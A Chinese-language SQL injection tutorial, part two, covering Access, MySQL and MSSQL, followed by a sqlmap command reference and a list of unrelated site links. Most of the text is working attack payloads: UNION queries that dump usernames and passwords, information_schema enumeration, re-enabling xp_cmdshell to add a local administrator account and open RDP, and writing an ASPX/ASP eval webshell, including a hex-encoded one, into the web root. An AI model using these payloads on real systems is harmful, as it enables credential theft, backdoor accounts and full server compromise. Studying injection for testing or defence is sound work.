当前位置: 首页 > news >正文

08.SQL注入-下(超详细!!!)

1、Access注入

1.1 判断是否存在注入漏洞

?id=10 and 1=1    //不报错
?id=10 and 1=2    //报错

在这里插入图片描述

1.2 判断字段数

?id=10 order by 1
...
?id=10 order by 7   //不报错
?id=10 order by 8   //报错
说明有7个字段

在这里插入图片描述

在这里插入图片描述

1.3 猜表名

?id=10 and exists(select * from administrator)   //不报错
猜测表名是administrator

在这里插入图片描述

1.4 猜字段名

?id=10 and exists(select user_name from administrator)    返回正常页面,说明administrator表中存在字段user_name
?id=10 and exists(select password from administrator)    返回正常页面,说明administrator表中存在字段password	

在这里插入图片描述

以上一般能用工具进行破解,了解即可

2、SQL注入高级查询(union select)

在前面的案例中,我们已经猜解出了表名administrator及字段名user_name,password,现在来进行高效查询获得字段内容。

?id=10 and 1=2 union select 1,2,3,4,5,6,7 from administrator     //可以发现2和3是回显点

在这里插入图片描述

?id=10 and 1=2 union select 1,user_name,password,4,5,6,7 from administrator

在这里插入图片描述

2、MySQL数据库注入

MySQL数据序在各种Web应用程序中的使用也非常广泛。与其他数据库一样,在Web应用程序编写的过程中,如果对用户提交的参数未进行过滤或过滤不严,也会导致SQL注入攻击漏洞的产生.

MySQL数据库通常与PHP网页程序搭建网站平台,各大门户网站采用MySQL+PHP的网站结构,例如新浪、网易、TOM网站等.由于MySQL数据库的应用时象大多足一些大型的网站企业公司,因此针对MySQL数据库的注入攻击技术的危害性也非常大

2.1 常见注入攻击

MySQL 4及之前的版本中,由于不支持子语句查询,而且当“php.ini"配置文件中的magic_quotes_gpc参数设置为“On(开启)”时,提交的变量中包含’(单引号),"(双引号),以及反斜线、and和空字符等危险的字符,都会被数据库自动转为含有反斜线的转义字符,给注入攻击带来很大的困难.由于这个特性,导致许多管理员认为MySQL比较安全。然而事实上,安全永远是相对的,漏洞与攻击威胁的存在却是绝对的。

MySQL 5版本数据库中,由于新增加了一个information_schema库,该库中存储了数据库信息内容,因此可以直接爆库、爆表、爆字段,让注入攻击变得极为简单。

2.2 MySQL4注入

MySQL4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。MySQL 4的注入攻击方法如下。

首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。

2.3 MySQL5注入

MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,其使用方法通常有如下几种:
① 通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。
② 通过load_fileO函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
③ 通过dumpfile/outfile函数导出获取WebShell。

2.4 MySQL注入过程

① 检查注入点

and 1=1
and 1=2

② 判断字段数

1'order by 1#   //不报错
1'order by 2#   //不报错
1'order by 3#   //报错
说明有2个字段

在这里插入图片描述

③ 查看数据库版本、库名

1'union select version(),database()--+

在这里插入图片描述

④ 获取mysql所有库

1'union select 1,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述

⑤ 获取表名

1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

⑥ 获取表里的字段

1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

⑦ 获取所有字段内容

1'union select 1,group_concat(user,password) from users#

在这里插入图片描述

3、MsSQL注入

MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合.下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。
对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。

3.1 判断是否存在MsSQL注入

and exists(select * from sysobjects)      //页面返回正常,则说明有MsSQL注入点

3.2 注入点权限分类

1、sa权限

sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

① 检查是否是mssql数据库

and exists(select * from sysobjects)

② 查询当前数据库系统的用户名

and system_user=0

③ 检查注入点是否为sa权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

④ 判断一下xp_cmdshell存储过程是否存在

and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell') 

没有的话,可以输入这条命令进行恢复

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- 

⑤ 添加账号

;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'

⑥ 开3389

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

2、dbowner

当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。
当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。

① 查看当前网站是否为db_owner权限

and 1=(SELECT IS_MEMBER('db_owner'));--

② 找出网站路径

通过报错或baidu、google查找

通过相关语句:

drop table black;create Table black(result varchar(7996) null,id int not null(identity(1,1)))--insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--and (select result from black where id=1)>0--

③ 写入一句话木马获取webshell

%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--

差异备份

;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

3、public

① 获取当前网站数据库名称

and db_name()=0--

② 获取当前数据库所有表名

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

③ 爆表名及字段名

having 1=1--    //得出表名(admin)和字段名(id)
group by admin.id having 1=1    //接着爆出下一个字段名为name
group by admin.id,admin.name having 1=1--

4、sqlmap常见命令

常用命令解释
-r指定参数post注入 sqlmap.py -r post.txt -p 注入参数
-uget注入
–-level=LEVEL执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer
–risk=RISK执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
-vERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3
-p-p 后面接参数,针对单个参数注入
-threads线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
-batch-smart智能判断测试
–mobile模拟测试手机环境站点
-m批量注入
–dbs查看数据库名
–current-user大多数数据库中可检测到数据库管理系统当前用户
–current-db当前连接数据库名
–is-dba判断当前的用户是否为管理
–users列出数据库所有所有用户
–tables -D 数据库名获取表名
–file-read /etc/password读取文件内容
–os-shell系统交互的shell

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 如何在SQLite中实现自动时间戳
  • 【C++ | 泛型编程】C++函数模板详解(定义、使用、特化、重载)
  • 工具学习_CONAN_Consuming Packages
  • 如何在 Debian 上安装运行极狐GitLab Runner?【一】
  • Hadoop入门:构建你的第一个大数据处理平台
  • Spring Boot 使用多线程完成 统计当日用户所属区域
  • 选电脑——电脑配置
  • ViP-LLaVA: Making Large Multimodal Models Understand Arbitrary Visual Prompts
  • 江协科技51单片机学习- p31 LCD1602液晶屏驱动
  • Java二十三种设计模式-组合模式(11/23)
  • 揭秘LoRA:利用深度学习原理在Stable Diffusion中打造完美图像生成的秘密武器
  • c++ | vector
  • 【多线程-从零开始-肆】线程安全、加锁和死锁
  • 线程 【Linux】
  • vue3+axios请求导出excel文件
  • [译] 理解数组在 PHP 内部的实现(给PHP开发者的PHP源码-第四部分)
  • httpie使用详解
  • JavaScript对象详解
  • Linux学习笔记6-使用fdisk进行磁盘管理
  • supervisor 永不挂掉的进程 安装以及使用
  • Swoft 源码剖析 - 代码自动更新机制
  • 阿里云Kubernetes容器服务上体验Knative
  • 从零开始学习部署
  • 复杂数据处理
  • 关于List、List?、ListObject的区别
  • 基于遗传算法的优化问题求解
  • 记一次和乔布斯合作最难忘的经历
  • 嵌入式文件系统
  • 首页查询功能的一次实现过程
  • 运行时添加log4j2的appender
  • 看到一个关于网页设计的文章分享过来!大家看看!
  • Android开发者必备:推荐一款助力开发的开源APP
  • elasticsearch-head插件安装
  • 树莓派用上kodexplorer也能玩成私有网盘
  • ​LeetCode解法汇总2583. 二叉树中的第 K 大层和
  • #70结构体案例1(导师,学生,成绩)
  • #nginx配置案例
  • (Demo分享)利用原生JavaScript-随机数-实现做一个烟花案例
  • (亲测)设​置​m​y​e​c​l​i​p​s​e​打​开​默​认​工​作​空​间...
  • (一)python发送HTTP 请求的两种方式(get和post )
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • (自用)交互协议设计——protobuf序列化
  • .Net CoreRabbitMQ消息存储可靠机制
  • .NET 实现 NTFS 文件系统的硬链接 mklink /J(Junction)
  • .NET8 动态添加定时任务(CRON Expression, Whatever)
  • .NET多线程执行函数
  • /dev下添加设备节点的方法步骤(通过device_create)
  • [2016.7 day.5] T2
  • [AI StoryDiffusion] 创造神奇故事,AI漫画大乱斗!
  • [ANT] 项目中应用ANT
  • [AutoSar]状态管理(五)Dcm与BswM、EcuM的复位实现
  • [C++][opencv]基于opencv实现photoshop算法色阶调整
  • [Java][Liferay] File system in liferay
  • [NOIP2005]过河
  • [one_demo_13]ArrayList去除重复的元素